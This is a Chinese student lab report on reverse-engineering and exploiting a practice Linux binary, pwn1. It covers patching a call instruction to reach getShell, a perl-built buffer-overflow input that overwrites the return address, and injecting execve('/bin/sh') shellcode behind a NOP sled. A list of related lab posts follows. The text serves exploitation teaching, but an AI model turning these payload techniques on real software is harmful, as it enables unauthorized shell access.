20165219 Exp1 PC平台逆向破解

实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

三个实践内容如下:

手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

注入一个自己制作的shellcode并运行这段shellcode。

基础知识

linux常用命令大全

一 直接修改程序机器指令,改变程序执行流程

思路:pwn1_1中main()调用foo(),此实验旨在修改程序机器指令,使得main()调用getshell()

反汇编: objdump -d

main()中call指令指向foo()的内存地址0x08048491

,对应的机器指令为ffffffd7。现在想把call指令指向getshell()的内存地址0x0804847d,就要修改相应的机器指令。经过计算相应的机器指令为ffffffc3。

输入:

%!xxd

,将显示模式切换为16进制模式

/d7

查找要修改的内容 ,按i进入插入模式,修改d7之后,exc退出插入模式

:%!xxd -r

转换16进制为原格式

:wq

保存并退出

运行修改后的代码,发现权限不够,上网搜了一下,如下图解决办法

二 通过构造输入参数,造成BOF攻击,改变程序执行流

首先反汇编了解程序功能

# gdb

输入为字符时已经发生段错误,产生溢出:

使用gdb进行调试:

注意到eip的值为ASCII的5,即在输入字符串的“5”的部分发生溢出。将5改成其它

输入字符串1111111122222222333333334444444455555555,5555会覆盖到堆栈上的返回地址,CPU会这个代码。只要把这四个字符替换为 getShell 的内存地址,输给pwn20165219_2,pwn1运行getShell。

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

命令构造文件。然后使用指令

(cat input ) | ./pwn20165219_2

运行程序

三 注入Shellcode并执行

使用

apt-get install execstack

命令安装execstack

修改以下设置

我们选择retaddr+nops+shellcode结构来攻击buf,在shellcode前填充nop的机器码90,最前面加上加上返回地址(先定义为\x4\x3\x2\x1)

perl -e 'print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode

注入这段攻击buf,在另一个终端查看pwn1这个进程

gdb调试

通过设置断点,来查看注入buf的内存地址

使用break设置断点,并输入c继续运行。在pwn1进程正在运行的终端敲回车,使其继续执行。再返回调试终端,使用

info r esp

查找地址。

使用x/16x 查看其存放内容,看到了01020304,就是返回地址的位置。

将之前的\x4\x3\x2\x1改为这个地址

最后执行攻击程序

20165219 Exp1 PC平台逆向破解的更多相关文章

  1. 20155324《网络对抗》Exp1 PC平台逆向破解(5)M

    20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...

  2. 2018-2019-2 20165237《网络攻防技术》Exp1 PC平台逆向破解

    2018-2019-2 20165237<网络攻防技术>Exp1 PC平台逆向破解 一.实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调 ...

  3. 20165221 《网络对抗技术》EXP1 PC平台逆向破解

    20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...

  4. 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...

  5. 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解

    - 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...

  6. Exp1 PC平台逆向破解 20165235 祁瑛

    Exp1 PC平台逆向破解 20165235 祁瑛 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字 ...

  7. 2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解

    2018-2019-2 20165317<网络对抗技术>Exp1 PC平台逆向破解 实验目的 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 NOP:无作用,英文&quo ...

  8. 2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解 1. 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常 ...

  9. 2018-2019-2 20165236郭金涛《网络对抗》Exp1 PC平台逆向破解

    2018-2019-2 20165236郭金涛<网络对抗>Exp1 PC平台逆向破解 一.实验内容 1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分) 2.掌 ...

随机推荐

  1. random.nextint()

    自从JDK最初版本发布起,我们就可以使用java.util.Random类产生随机数了.在JDK1.2中,Random类有了一个名为nextInt()的方法: public int nextInt(i ...

  2. 106. Construct Binary Tree from Inorder and Postorder Traversal (Tree; DFS)

    Given inorder and postorder traversal of a tree, construct the binary tree. Note: You may assume tha ...

  3. UNITY录制视屏解决方案 - ShareREC For Unity3D

    注意buildSetting里面,AutoGraphic改成opengl es2,否则魅蓝手机上容易出现1/4屏 一.导入项目 1.到Mob官网下载ShareREC For Unity3D 的SDK包 ...

  4. thinkphp 3.2.3 addAll方法的坑

    在批量插入一组数据的时候,总是提示以下错误 Insert value list does not match column list: Column count doesn't match value ...

  5. [leetcode]206. Reverse Linked List反转链表

    Reverse a singly linked list. Input: 1->2->3->4->5->NULL Output: 5->4->3->2- ...

  6. CentOS7.2部署采集系统

    rm -rf /etc/yum.repos.d/*scp root@192.168.48.81:/etc/yum.repos.d/* /etc/yum.repos.d/vim /etc/hosts(添 ...

  7. Laravel 5.4 实现无限级分类

    最近在工作中遇到一个需求,是要在laravel 5.4中实现无限级分类,但发现网上这个的资料较少,所以只能自己来实现了,下面这篇文章主要给大家介绍了关于在laravel 5.4中实现无限级分类的方法示 ...

  8. Windows环境和Linux环境下Redis主从复制配置

    Windows环境下和Linux环境下配置Redis主从复制基本上一样,都是更改配置文件.Windows环境下修改的配置文件是:redis.windows.conf.redis.windows-ser ...

  9. 超赞!UX写手必备技能

    以下内容由Mockplus团队翻译整理,仅供学习交流,Mockplus是更快更简单的原型设计工具. 今天,小编非常荣幸能与大家一起分享一些优秀UX 写手必备的成功技能: 1.开篇抓住用户的心 MBE曾 ...

  10. 移动直播app怎么做

    今年移动直播行业的兴起,诞生了一大批网红,甚至明星也开始直播了,因此不得不跟上时代的步伐,教你从零开始搭建一个完整的iOS直播app,希望能帮助到更多的人更快的了解直播. 了解直播 1 热门直播产品: ...